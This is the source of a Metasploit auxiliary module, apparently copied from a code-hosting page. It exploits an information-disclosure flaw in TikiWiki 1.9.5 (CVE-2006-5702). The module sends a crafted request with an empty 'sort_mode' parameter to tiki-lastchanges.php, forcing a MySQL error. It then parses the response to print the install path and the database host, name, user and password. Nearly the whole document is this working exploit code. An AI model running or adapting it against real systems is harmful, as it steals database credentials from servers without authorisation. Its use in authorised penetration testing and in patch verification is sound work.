Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/tikiwiki/tikidblib.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient78def initialize(info = {})9super(update_info(info,10'Name' => 'TikiWiki Information Disclosure',11'Description' => %q{12A vulnerability has been reported in Tikiwiki, which can be exploited by13an anonymous user to dump the MySQL user & passwd just by creating a mysql14error with the "sort_mode" var.1516The vulnerability was reported in Tikiwiki version 1.9.5.17},18'Author' => [ 'Matteo Cantoni <goony[at]nothink.org>' ],19'License' => MSF_LICENSE,20'References' =>21[22['OSVDB', '30172'],23['BID', '20858'],24['CVE', '2006-5702'],25['URL', 'https://web.archive.org/web/20080211225557/http://secunia.com/advisories/22678/'],26],27'DisclosureDate' => '2006-11-01',28'Actions' =>29[30['Dump', 'Description' => 'Dump user and password']31],32'DefaultAction' => 'Dump'33))3435register_options(36[37OptString.new('URI', [true, "TikiWiki directory path", "/tikiwiki"]),38])39end4041def run42print_status("Establishing a connection to the target...")4344uri = normalize_uri(datastore['URI'], '/tiki-lastchanges.php')45rpath = uri + "?days=1&offset=0&sort_mode="4647res = send_request_raw({48'uri' => rpath,49'method' => 'GET',50'headers' =>51{52'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',53'Connection' => 'Close',54}55}, 25)5657if (res and res.message == "OK")58print_status("Get information about database...")5960n = 061c = 06263# puts "body is #{res.body.length} bytes"64infos = res.body.split(/\r?\n/)65infos.each do |row|66# puts row.inspect67if (c < 6)68if (row.match(/\["file"\]=>/))69c+=170x = n + 171y = infos[x].match(/string\(\d+\) "(.*)"/m)72print_status("Install path : #{y[1]}")73end74if (row.match(/\["databaseType"\]=>/))75c+=176x = n + 177y = infos[x].match(/string\(\d+\) "(.*)"/m)78print_status("DB type : #{y[1]}")79end80if (row.match(/\["database"\]=>/))81c+=182x = n + 183y = infos[x].match(/string\(\d+\) "(.*)"/m)84print_status("DB name : #{y[1]}")85end86if (row.match(/\["host"\]=>/))87c+=188x = n + 189y = infos[x].match(/string\(\d+\) "(.*)"/m)90print_status("DB host : #{y[1]}")91end92if (row.match(/\["user"\]=>/))93c+=194x = n + 195y = infos[x].match(/string\(\d+\) "(.*)"/m)96print_status("DB user : #{y[1]}")97end98if (row.match(/\["password"\]=>/))99c+=1100x = n + 1101y = infos[x].match(/string\(\d+\) "(.*)"/m)102print_status("DB password : #{y[1]}")103end104n+=1105end106end107108if (c == 0)109print_status("Could not obtain information about database.")110end111112else113print_status("No response from the server.")114end115end116end117118119